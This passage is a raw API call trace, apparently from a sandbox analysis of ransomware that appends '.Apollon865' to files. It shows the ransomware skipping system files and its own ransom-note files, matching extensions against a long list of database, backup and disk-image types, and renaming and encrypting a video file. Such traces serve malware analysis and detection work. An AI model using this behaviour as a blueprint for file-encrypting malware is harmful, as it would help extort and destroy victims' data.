	[0086.776] lstrcmpiW (lpString1="wf", lpString2="nv") returned 1
	[0086.776] lstrlenW (lpString="nv2") returned 3
	[0086.776] lstrcmpiW (lpString1="swf", lpString2="nv2") returned 1
	[0086.776] lstrlenW (lpString="nwdb") returned 4
	[0086.776] lstrcmpiW (lpString1=".swf", lpString2="nwdb") returned -1
	[0086.776] lstrlenW (lpString="nyf") returned 3
	[0086.776] lstrcmpiW (lpString1="swf", lpString2="nyf") returned 1
	[0086.776] lstrlenW (lpString="odb") returned 3
	[0086.776] lstrcmpiW (lpString1="swf", lpString2="odb") returned 1
	[0086.776] lstrlenW (lpString="odb") returned 3
	[0086.776] lstrcmpiW (lpString1="swf", lpString2="odb") returned 1
	[0086.776] lstrlenW (lpString="oqy") returned 3
	[0086.776] lstrcmpiW (lpString1="swf", lpString2="oqy") returned 1
	[0086.776] lstrlenW (lpString="ora") returned 3
	[0086.776] lstrcmpiW (lpString1="swf", lpString2="ora") returned 1
	[0086.776] lstrlenW (lpString="orx") returned 3
	[0086.776] lstrcmpiW (lpString1="swf", lpString2="orx") returned 1
	[0086.776] lstrlenW (lpString="owc") returned 3
	[0086.776] lstrcmpiW (lpString1="swf", lpString2="owc") returned 1
	[0086.776] lstrlenW (lpString="p96") returned 3
	[0086.776] lstrcmpiW (lpString1="swf", lpString2="p96") returned 1
	[0086.776] lstrlenW (lpString="p97") returned 3
	[0086.776] lstrcmpiW (lpString1="swf", lpString2="p97") returned 1
	[0086.776] lstrlenW (lpString="pan") returned 3
	[0086.776] lstrcmpiW (lpString1="swf", lpString2="pan") returned 1
	[0086.776] lstrlenW (lpString="pdb") returned 3
	[0086.776] lstrcmpiW (lpString1="swf", lpString2="pdb") returned 1
	[0086.776] lstrlenW (lpString="pdm") returned 3
	[0086.776] lstrcmpiW (lpString1="swf", lpString2="pdm") returned 1
	[0086.777] lstrlenW (lpString="pnz") returned 3
	[0086.777] lstrcmpiW (lpString1="swf", lpString2="pnz") returned 1
	[0086.777] lstrlenW (lpString="qry") returned 3
	[0086.777] lstrcmpiW (lpString1="swf", lpString2="qry") returned 1
	[0086.777] lstrlenW (lpString="qvd") returned 3
	[0086.777] lstrcmpiW (lpString1="swf", lpString2="qvd") returned 1
	[0086.777] lstrlenW (lpString="rbf") returned 3
	[0086.777] lstrcmpiW (lpString1="swf", lpString2="rbf") returned 1
	[0086.777] lstrlenW (lpString="rctd") returned 4
	[0086.777] lstrcmpiW (lpString1=".swf", lpString2="rctd") returned -1
	[0086.777] lstrlenW (lpString="rod") returned 3
	[0086.777] lstrcmpiW (lpString1="swf", lpString2="rod") returned 1
	[0086.777] lstrlenW (lpString="rodx") returned 4
	[0086.777] lstrcmpiW (lpString1=".swf", lpString2="rodx") returned -1
	[0086.777] lstrlenW (lpString="rpd") returned 3
	[0086.777] lstrcmpiW (lpString1="swf", lpString2="rpd") returned 1
	[0086.777] lstrlenW (lpString="rsd") returned 3
	[0086.777] lstrcmpiW (lpString1="swf", lpString2="rsd") returned 1
	[0086.777] lstrlenW (lpString="sas7bdat") returned 8
	[0086.777] lstrcmpiW (lpString1="IX4W.swf", lpString2="sas7bdat") returned -1
	[0086.777] lstrlenW (lpString="sbf") returned 3
	[0086.777] lstrcmpiW (lpString1="swf", lpString2="sbf") returned 1
	[0086.777] lstrlenW (lpString="scx") returned 3
	[0086.777] lstrcmpiW (lpString1="swf", lpString2="scx") returned 1
	[0086.777] lstrlenW (lpString="sdb") returned 3
	[0086.777] lstrcmpiW (lpString1="swf", lpString2="sdb") returned 1
	[0086.777] lstrlenW (lpString="sdc") returned 3
	[0086.777] lstrcmpiW (lpString1="swf", lpString2="sdc") returned 1
	[0086.777] lstrlenW (lpString="sdf") returned 3
	[0086.777] lstrcmpiW (lpString1="swf", lpString2="sdf") returned 1
	[0086.777] lstrlenW (lpString="sis") returned 3
	[0086.777] lstrcmpiW (lpString1="swf", lpString2="sis") returned 1
	[0086.777] lstrlenW (lpString="spq") returned 3
	[0086.777] lstrcmpiW (lpString1="swf", lpString2="spq") returned 1
	[0086.778] lstrlenW (lpString="te") returned 2
	[0086.778] lstrcmpiW (lpString1="wf", lpString2="te") returned 1
	[0086.778] lstrlenW (lpString="teacher") returned 7
	[0086.778] lstrcmpiW (lpString1="X4W.swf", lpString2="teacher") returned 1
	[0086.778] lstrlenW (lpString="tmd") returned 3
	[0086.778] lstrcmpiW (lpString1="swf", lpString2="tmd") returned -1
	[0086.778] lstrlenW (lpString="tps") returned 3
	[0086.778] lstrcmpiW (lpString1="swf", lpString2="tps") returned -1
	[0086.778] lstrlenW (lpString="trc") returned 3
	[0086.778] lstrcmpiW (lpString1="swf", lpString2="trc") returned -1
	[0086.778] lstrlenW (lpString="trc") returned 3
	[0086.778] lstrcmpiW (lpString1="swf", lpString2="trc") returned -1
	[0086.778] lstrlenW (lpString="trm") returned 3
	[0086.778] lstrcmpiW (lpString1="swf", lpString2="trm") returned -1
	[0086.778] lstrlenW (lpString="udb") returned 3
	[0086.778] lstrcmpiW (lpString1="swf", lpString2="udb") returned -1
	[0086.778] lstrlenW (lpString="udl") returned 3
	[0086.778] lstrcmpiW (lpString1="swf", lpString2="udl") returned -1
	[0086.778] lstrlenW (lpString="usr") returned 3
	[0086.778] lstrcmpiW (lpString1="swf", lpString2="usr") returned -1
	[0086.778] lstrlenW (lpString="v12") returned 3
	[0086.778] lstrcmpiW (lpString1="swf", lpString2="v12") returned -1
	[0086.778] lstrlenW (lpString="vis") returned 3
	[0086.778] lstrcmpiW (lpString1="swf", lpString2="vis") returned -1
	[0086.778] lstrlenW (lpString="vpd") returned 3
	[0086.778] lstrcmpiW (lpString1="swf", lpString2="vpd") returned -1
	[0086.778] lstrlenW (lpString="vvv") returned 3
	[0086.778] lstrcmpiW (lpString1="swf", lpString2="vvv") returned -1
	[0086.778] lstrlenW (lpString="wdb") returned 3
	[0086.778] lstrcmpiW (lpString1="swf", lpString2="wdb") returned -1
	[0086.778] lstrlenW (lpString="wmdb") returned 4
	[0086.778] lstrcmpiW (lpString1=".swf", lpString2="wmdb") returned -1
	[0086.778] lstrlenW (lpString="wrk") returned 3
	[0086.778] lstrcmpiW (lpString1="swf", lpString2="wrk") returned -1
	[0086.779] lstrlenW (lpString="xdb") returned 3
	[0086.779] lstrcmpiW (lpString1="swf", lpString2="xdb") returned -1
	[0086.779] lstrlenW (lpString="xld") returned 3
	[0086.779] lstrcmpiW (lpString1="swf", lpString2="xld") returned -1
	[0086.779] lstrlenW (lpString="xmlff") returned 5
	[0086.779] lstrcmpiW (lpString1="W.swf", lpString2="xmlff") returned -1
	[0086.779] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\hUhIX4W.swf.Apollon865") returned 65
	[0086.779] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\hUhIX4W.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\huhix4w.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\hUhIX4W.swf.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\huhix4w.swf.apollon865"), dwFlags=0x1) returned 1
	[0086.780] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\hUhIX4W.swf.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\huhix4w.swf.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.780] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=97282) returned 1
	[0086.780] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.781] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.782] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.782] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.782] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17f10, lpName=0x0) returned 0x15c
	[0086.782] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17f10) returned 0x120000
	[0086.786] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.787] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.787] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0086.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0086.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.787] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0086.788] CloseHandle (hObject=0x15c) returned 1
	[0086.788] CloseHandle (hObject=0x9c) returned 1
	[0086.790] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.790] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.790] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.790] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd7bbfc0, ftCreationTime.dwHighDateTime=0x1d4d0c0, ftLastAccessTime.dwLowDateTime=0xd6e8c1c0, ftLastAccessTime.dwHighDateTime=0x1d4d2ec, ftLastWriteTime.dwLowDateTime=0xd6e8c1c0, ftLastWriteTime.dwHighDateTime=0x1d4d2ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e81, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kg4BkPply.mp4", cAlternateFileName="KG4BKP~1.MP4")) returned 1
	[0086.790] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.790] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2="Apollon865.txt.exe") returned 1
	[0086.790] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2=".") returned 1
	[0086.790] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2="..") returned 1
	[0086.790] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2="windows") returned -1
	[0086.790] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2="bootmgr") returned 1
	[0086.790] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2="temp") returned -1
	[0086.790] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2="pagefile.sys") returned -1
	[0086.790] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2="boot") returned 1
	[0086.791] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2="ids.txt") returned 1
	[0086.791] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2="ntuser.dat") returned -1
	[0086.791] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2="perflogs") returned -1
	[0086.791] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2="MSBuild") returned -1
	[0086.791] lstrlenW (lpString="kg4BkPply.mp4") returned 13
	[0086.791] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\hUhIX4W.swf") returned 54
	[0086.791] lstrcpyW (in: lpString1=0x119e65e, lpString2="kg4BkPply.mp4" | out: lpString1="kg4BkPply.mp4") returned="kg4BkPply.mp4"
	[0086.791] lstrlenW (lpString="kg4BkPply.mp4") returned 13
	[0086.791] lstrlenW (lpString="Apollon865") returned 10
	[0086.791] lstrcmpiW (lpString1="BkPply.mp4", lpString2="Apollon865") returned 1
	[0086.791] lstrlenW (lpString=".dll") returned 4
	[0086.791] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2=".dll") returned 1
	[0086.791] lstrlenW (lpString=".lnk") returned 4
	[0086.791] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2=".lnk") returned 1
	[0086.791] lstrlenW (lpString=".ini") returned 4
	[0086.791] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2=".ini") returned 1
	[0086.791] lstrlenW (lpString=".sys") returned 4
	[0086.791] lstrcmpiW (lpString1="kg4BkPply.mp4", lpString2=".sys") returned 1
	[0086.791] lstrlenW (lpString="kg4BkPply.mp4") returned 13
	[0086.791] lstrlenW (lpString="bak") returned 3
	[0086.791] lstrcmpiW (lpString1="mp4", lpString2="bak") returned 1
	[0086.791] lstrlenW (lpString="ba_") returned 3
	[0086.791] lstrcmpiW (lpString1="mp4", lpString2="ba_") returned 1
	[0086.791] lstrlenW (lpString="dbb") returned 3
	[0086.791] lstrcmpiW (lpString1="mp4", lpString2="dbb") returned 1
	[0086.791] lstrlenW (lpString="vmdk") returned 4
	[0086.791] lstrcmpiW (lpString1=".mp4", lpString2="vmdk") returned -1
	[0086.791] lstrlenW (lpString="rar") returned 3
	[0086.791] lstrcmpiW (lpString1="mp4", lpString2="rar") returned -1
	[0086.791] lstrlenW (lpString="zip") returned 3
	[0086.791] lstrcmpiW (lpString1="mp4", lpString2="zip") returned -1
	[0086.791] lstrlenW (lpString="tgz") returned 3
	[0086.791] lstrcmpiW (lpString1="mp4", lpString2="tgz") returned -1
	[0086.791] lstrlenW (lpString="vbox") returned 4
	[0086.791] lstrcmpiW (lpString1=".mp4", lpString2="vbox") returned -1
	[0086.791] lstrlenW (lpString="vdi") returned 3
	[0086.791] lstrcmpiW (lpString1="mp4", lpString2="vdi") returned -1
	[0086.792] lstrlenW (lpString="vhd") returned 3
	[0086.792] lstrcmpiW (lpString1="mp4", lpString2="vhd") returned -1
	[0086.792] lstrlenW (lpString="vhdx") returned 4
	[0086.792] lstrcmpiW (lpString1=".mp4", lpString2="vhdx") returned -1
	[0086.792] lstrlenW (lpString="avhd") returned 4
	[0086.792] lstrcmpiW (lpString1=".mp4", lpString2="avhd") returned -1
	[0086.792] lstrlenW (lpString="db") returned 2
	[0086.792] lstrcmpiW (lpString1="p4", lpString2="db") returned 1
	[0086.792] lstrlenW (lpString="db2") returned 3
	[0086.792] lstrcmpiW (lpString1="mp4", lpString2="db2") returned 1
	[0086.792] lstrlenW (lpString="db3") returned 3
	[0086.792] lstrcmpiW (lpString1="mp4", lpString2="db3") returned 1
	[0086.792] lstrlenW (lpString="dbf") returned 3
	[0086.792] lstrcmpiW (lpString1="mp4", lpString2="dbf") returned 1
	[0086.792] lstrlenW (lpString="mdf") returned 3
	[0086.792] lstrcmpiW (lpString1="mp4", lpString2="mdf") returned 1
	[0086.792] lstrlenW (lpString="mdb") returned 3
	[0086.792] lstrcmpiW (lpString1="mp4", lpString2="mdb") returned 1
	[0086.792] lstrlenW (lpString="sql") returned 3
	[0086.792] lstrcmpiW (lpString1="mp4", lpString2="sql") returned -1
	[0086.792] lstrlenW (lpString="sqlite") returned 6
	[0086.792] lstrcmpiW (lpString1="ly.mp4", lpString2="sqlite") returned -1
	[0086.792] lstrlenW (lpString="sqlite3") returned 7
	[0086.792] lstrcmpiW (lpString1="ply.mp4", lpString2="sqlite3") returned -1
	[0086.792] lstrlenW (lpString="sqlitedb") returned 8
	[0086.792] lstrcmpiW (lpString1="Pply.mp4", lpString2="sqlitedb") returned -1
	[0086.792] lstrlenW (lpString="xml") returned 3
	[0086.792] lstrcmpiW (lpString1="mp4", lpString2="xml") returned -1
	[0086.792] lstrlenW (lpString="$er") returned 3
	[0086.792] lstrcmpiW (lpString1="mp4", lpString2="$er") returned 1
	[0086.792] lstrlenW (lpString="4dd") returned 3
	[0086.792] lstrcmpiW (lpString1="mp4", lpString2="4dd") returned 1
	[0086.792] lstrlenW (lpString="4dl") returned 3
	[0086.792] lstrcmpiW (lpString1="mp4", lpString2="4dl") returned 1
	[0086.792] lstrlenW (lpString="^^^") returned 3
	[0086.792] lstrcmpiW (lpString1="mp4", lpString2="^^^") returned 1
	[0086.792] lstrlenW (lpString="abs") returned 3
	[0086.793] lstrcmpiW (lpString1="mp4", lpString2="abs") returned 1
	[0086.793] lstrlenW (lpString="abx") returned 3
	[0086.793] lstrcmpiW (lpString1="mp4", lpString2="abx") returned 1
	[0086.793] lstrlenW (lpString="accdb") returned 5
	[0086.793] lstrcmpiW (lpString1="y.mp4", lpString2="accdb") returned 1
	[0086.793] lstrlenW (lpString="accdc") returned 5
	[0086.793] lstrcmpiW (lpString1="y.mp4", lpString2="accdc") returned 1
	[0086.793] lstrlenW (lpString="accde") returned 5
	[0086.793] lstrcmpiW (lpString1="y.mp4", lpString2="accde") returned 1
	[0086.793] lstrlenW (lpString="accdr") returned 5
	[0086.793] lstrcmpiW (lpString1="y.mp4", lpString2="accdr") returned 1
	[0086.793] lstrlenW (lpString="accdt") returned 5
	[0086.793] lstrcmpiW (lpString1="y.mp4", lpString2="accdt") returned 1
	[0086.793] lstrlenW (lpString="accdw") returned 5
	[0086.793] lstrcmpiW (lpString1="y.mp4", lpString2="accdw") returned 1
	[0086.793] lstrlenW (lpString="accft") returned 5
	[0086.793] lstrcmpiW (lpString1="y.mp4", lpString2="accft") returned 1
	[0086.793] lstrlenW (lpString="adb") returned 3
	[0086.793] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1
	[0086.793] lstrlenW (lpString="adb") returned 3
	[0086.793] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1
	[0086.793] lstrlenW (lpString="ade") returned 3
	[0086.793] lstrcmpiW (lpString1="mp4", lpString2="ade") returned 1
	[0086.793] lstrlenW (lpString="adf") returned 3
	[0086.793] lstrcmpiW (lpString1="mp4", lpString2="adf") returned 1
	[0086.793] lstrlenW (lpString="adn") returned 3
	[0086.793] lstrcmpiW (lpString1="mp4", lpString2="adn") returned 1
	[0086.793] lstrlenW (lpString="adp") returned 3
	[0086.793] lstrcmpiW (lpString1="mp4", lpString2="adp") returned 1
	[0086.793] lstrlenW (lpString="alf") returned 3
	[0086.793] lstrcmpiW (lpString1="mp4", lpString2="alf") returned 1
	[0086.793] lstrlenW (lpString="ask") returned 3
	[0086.793] lstrcmpiW (lpString1="mp4", lpString2="ask") returned 1
	[0086.793] lstrlenW (lpString="btr") returned 3
	[0086.793] lstrcmpiW (lpString1="mp4", lpString2="btr") returned 1
	[0086.793] lstrlenW (lpString="cat") returned 3
	[0086.794] lstrcmpiW (lpString1="mp4", lpString2="cat") returned 1
	[0086.794] lstrlenW (lpString="cdb") returned 3
	[0086.794] lstrcmpiW (lpString1="mp4", lpString2="cdb") returned 1
	[0086.794] lstrlenW (lpString="ckp") returned 3
	[0086.794] lstrcmpiW (lpString1="mp4", lpString2="ckp") returned 1
	[0086.794] lstrlenW (lpString="cma") returned 3
	[0086.794] lstrcmpiW (lpString1="mp4", lpString2="cma") returned 1
	[0086.794] lstrlenW (lpString="cpd") returned 3
	[0086.794] lstrcmpiW (lpString1="mp4", lpString2="cpd") returned 1
	[0086.794] lstrlenW (lpString="dacpac") returned 6
	[0086.794] lstrcmpiW (lpString1="ly.mp4", lpString2="dacpac") returned 1
	[0086.794] lstrlenW (lpString="dad") returned 3
	[0086.794] lstrcmpiW (lpString1="mp4", lpString2="dad") returned 1
	[0086.794] lstrlenW (lpString="dadiagrams") returned 10
	[0086.794] lstrcmpiW (lpString1="BkPply.mp4", lpString2="dadiagrams") returned -1
	[0086.794] lstrlenW (lpString="daschema") returned 8
	[0086.794] lstrcmpiW (lpString1="Pply.mp4", lpString2="daschema") returned 1
	[0086.794] lstrlenW (lpString="db-journal") returned 10
	[0086.794] lstrcmpiW (lpString1="BkPply.mp4", lpString2="db-journal") returned -1
	[0086.794] lstrlenW (lpString="db-shm") returned 6
	[0086.794] lstrcmpiW (lpString1="ly.mp4", lpString2="db-shm") returned 1
	[0086.794] lstrlenW (lpString="db-wal") returned 6
	[0086.794] lstrcmpiW (lpString1="ly.mp4", lpString2="db-wal") returned 1
	[0086.794] lstrlenW (lpString="dbc") returned 3
	[0086.794] lstrcmpiW (lpString1="mp4", lpString2="dbc") returned 1
	[0086.794] lstrlenW (lpString="dbs") returned 3
	[0086.794] lstrcmpiW (lpString1="mp4", lpString2="dbs") returned 1
	[0086.794] lstrlenW (lpString="dbt") returned 3
	[0086.794] lstrcmpiW (lpString1="mp4", lpString2="dbt") returned 1
	[0086.794] lstrlenW (lpString="dbv") returned 3
	[0086.794] lstrcmpiW (lpString1="mp4", lpString2="dbv") returned 1
	[0086.794] lstrlenW (lpString="dbx") returned 3
	[0086.794] lstrcmpiW (lpString1="mp4", lpString2="dbx") returned 1
	[0086.794] lstrlenW (lpString="dcb") returned 3
	[0086.794] lstrcmpiW (lpString1="mp4", lpString2="dcb") returned 1
	[0086.794] lstrlenW (lpString="dct") returned 3
	[0086.794] lstrcmpiW (lpString1="mp4", lpString2="dct") returned 1
	[0086.795] lstrlenW (lpString="dcx") returned 3
	[0086.795] lstrcmpiW (lpString1="mp4", lpString2="dcx") returned 1
	[0086.795] lstrlenW (lpString="ddl") returned 3
	[0086.795] lstrcmpiW (lpString1="mp4", lpString2="ddl") returned 1
	[0086.795] lstrlenW (lpString="dlis") returned 4
	[0086.795] lstrcmpiW (lpString1=".mp4", lpString2="dlis") returned -1
	[0086.795] lstrlenW (lpString="dp1") returned 3
	[0086.795] lstrcmpiW (lpString1="mp4", lpString2="dp1") returned 1
	[0086.795] lstrlenW (lpString="dqy") returned 3
	[0086.795] lstrcmpiW (lpString1="mp4", lpString2="dqy") returned 1
	[0086.795] lstrlenW (lpString="dsk") returned 3
	[0086.795] lstrcmpiW (lpString1="mp4", lpString2="dsk") returned 1
	[0086.795] lstrlenW (lpString="dsn") returned 3
	[0086.795] lstrcmpiW (lpString1="mp4", lpString2="dsn") returned 1
	[0086.795] lstrlenW (lpString="dtsx") returned 4
	[0086.795] lstrcmpiW (lpString1=".mp4", lpString2="dtsx") returned -1
	[0086.795] lstrlenW (lpString="dxl") returned 3
	[0086.795] lstrcmpiW (lpString1="mp4", lpString2="dxl") returned 1
	[0086.795] lstrlenW (lpString="eco") returned 3
	[0086.795] lstrcmpiW (lpString1="mp4", lpString2="eco") returned 1
	[0086.795] lstrlenW (lpString="ecx") returned 3
	[0086.795] lstrcmpiW (lpString1="mp4", lpString2="ecx") returned 1
	[0086.795] lstrlenW (lpString="edb") returned 3
	[0086.795] lstrcmpiW (lpString1="mp4", lpString2="edb") returned 1
	[0086.795] lstrlenW (lpString="epim") returned 4
	[0086.795] lstrcmpiW (lpString1=".mp4", lpString2="epim") returned -1
	[0086.795] lstrlenW (lpString="fcd") returned 3
	[0086.795] lstrcmpiW (lpString1="mp4", lpString2="fcd") returned 1
	[0086.795] lstrlenW (lpString="fdb") returned 3
	[0086.795] lstrcmpiW (lpString1="mp4", lpString2="fdb") returned 1
	[0086.795] lstrlenW (lpString="fic") returned 3
	[0086.795] lstrcmpiW (lpString1="mp4", lpString2="fic") returned 1
	[0086.795] lstrlenW (lpString="flexolibrary") returned 12
	[0086.795] lstrcmpiW (lpString1="g4BkPply.mp4", lpString2="flexolibrary") returned 1
	[0086.795] lstrlenW (lpString="fm5") returned 3
	[0086.795] lstrcmpiW (lpString1="mp4", lpString2="fm5") returned 1
	[0086.795] lstrlenW (lpString="fmp") returned 3
	[0086.796] lstrcmpiW (lpString1="mp4", lpString2="fmp") returned 1
	[0086.796] lstrlenW (lpString="fmp12") returned 5
	[0086.796] lstrcmpiW (lpString1="y.mp4", lpString2="fmp12") returned 1
	[0086.796] lstrlenW (lpString="fmpsl") returned 5
	[0086.796] lstrcmpiW (lpString1="y.mp4", lpString2="fmpsl") returned 1
	[0086.796] lstrlenW (lpString="fol") returned 3
	[0086.796] lstrcmpiW (lpString1="mp4", lpString2="fol") returned 1
	[0086.796] lstrlenW (lpString="fp3") returned 3
	[0086.796] lstrcmpiW (lpString1="mp4", lpString2="fp3") returned 1
	[0086.796] lstrlenW (lpString="fp4") returned 3
	[0086.796] lstrcmpiW (lpString1="mp4", lpString2="fp4") returned 1
	[0086.796] lstrlenW (lpString="fp5") returned 3
	[0086.796] lstrcmpiW (lpString1="mp4", lpString2="fp5") returned 1
	[0086.796] lstrlenW (lpString="fp7") returned 3
	[0086.796] lstrcmpiW (lpString1="mp4", lpString2="fp7") returned 1
	[0086.796] lstrlenW (lpString="fpt") returned 3
	[0086.796] lstrcmpiW (lpString1="mp4", lpString2="fpt") returned 1
	[0086.796] lstrlenW (lpString="frm") returned 3
	[0086.796] lstrcmpiW (lpString1="mp4", lpString2="frm") returned 1
	[0086.796] lstrlenW (lpString="gdb") returned 3
	[0086.796] lstrcmpiW (lpString1="mp4", lpString2="gdb") returned 1
	[0086.796] lstrlenW (lpString="gdb") returned 3
	[0086.796] lstrcmpiW (lpString1="mp4", lpString2="gdb") returned 1
	[0086.796] lstrlenW (lpString="grdb") returned 4
	[0086.796] lstrcmpiW (lpString1=".mp4", lpString2="grdb") returned -1
	[0086.796] lstrlenW (lpString="gwi") returned 3
	[0086.796] lstrcmpiW (lpString1="mp4", lpString2="gwi") returned 1
	[0086.796] lstrlenW (lpString="hdb") returned 3
	[0086.796] lstrcmpiW (lpString1="mp4", lpString2="hdb") returned 1
	[0086.796] lstrlenW (lpString="his") returned 3
	[0086.796] lstrcmpiW (lpString1="mp4", lpString2="his") returned 1
	[0086.796] lstrlenW (lpString="ib") returned 2
	[0086.796] lstrcmpiW (lpString1="p4", lpString2="ib") returned 1
	[0086.796] lstrlenW (lpString="idb") returned 3
	[0086.796] lstrcmpiW (lpString1="mp4", lpString2="idb") returned 1
	[0086.796] lstrlenW (lpString="ihx") returned 3
	[0086.796] lstrcmpiW (lpString1="mp4", lpString2="ihx") returned 1
	[0086.797] lstrlenW (lpString="itdb") returned 4
	[0086.797] lstrcmpiW (lpString1=".mp4", lpString2="itdb") returned -1
	[0086.797] lstrlenW (lpString="itw") returned 3
	[0086.797] lstrcmpiW (lpString1="mp4", lpString2="itw") returned 1
	[0086.797] lstrlenW (lpString="jet") returned 3
	[0086.797] lstrcmpiW (lpString1="mp4", lpString2="jet") returned 1
	[0086.797] lstrlenW (lpString="jtx") returned 3
	[0086.797] lstrcmpiW (lpString1="mp4", lpString2="jtx") returned 1
	[0086.797] lstrlenW (lpString="kdb") returned 3
	[0086.797] lstrcmpiW (lpString1="mp4", lpString2="kdb") returned 1
	[0086.797] lstrlenW (lpString="kexi") returned 4
	[0086.797] lstrcmpiW (lpString1=".mp4", lpString2="kexi") returned -1
	[0086.797] lstrlenW (lpString="kexic") returned 5
	[0086.797] lstrcmpiW (lpString1="y.mp4", lpString2="kexic") returned 1
	[0086.797] lstrlenW (lpString="kexis") returned 5
	[0086.797] lstrcmpiW (lpString1="y.mp4", lpString2="kexis") returned 1
	[0086.797] lstrlenW (lpString="lgc") returned 3
	[0086.797] lstrcmpiW (lpString1="mp4", lpString2="lgc") returned 1
	[0086.797] lstrlenW (lpString="lwx") returned 3
	[0086.797] lstrcmpiW (lpString1="mp4", lpString2="lwx") returned 1
	[0086.797] lstrlenW (lpString="maf") returned 3
	[0086.797] lstrcmpiW (lpString1="mp4", lpString2="maf") returned 1
	[0086.797] lstrlenW (lpString="maq") returned 3
	[0086.797] lstrcmpiW (lpString1="mp4", lpString2="maq") returned 1
	[0086.797] lstrlenW (lpString="mar") returned 3
	[0086.797] lstrcmpiW (lpString1="mp4", lpString2="mar") returned 1
	[0086.797] lstrlenW (lpString="marshal") returned 7
	[0086.797] lstrcmpiW (lpString1="ply.mp4", lpString2="marshal") returned 1
	[0086.797] lstrlenW (lpString="mas") returned 3
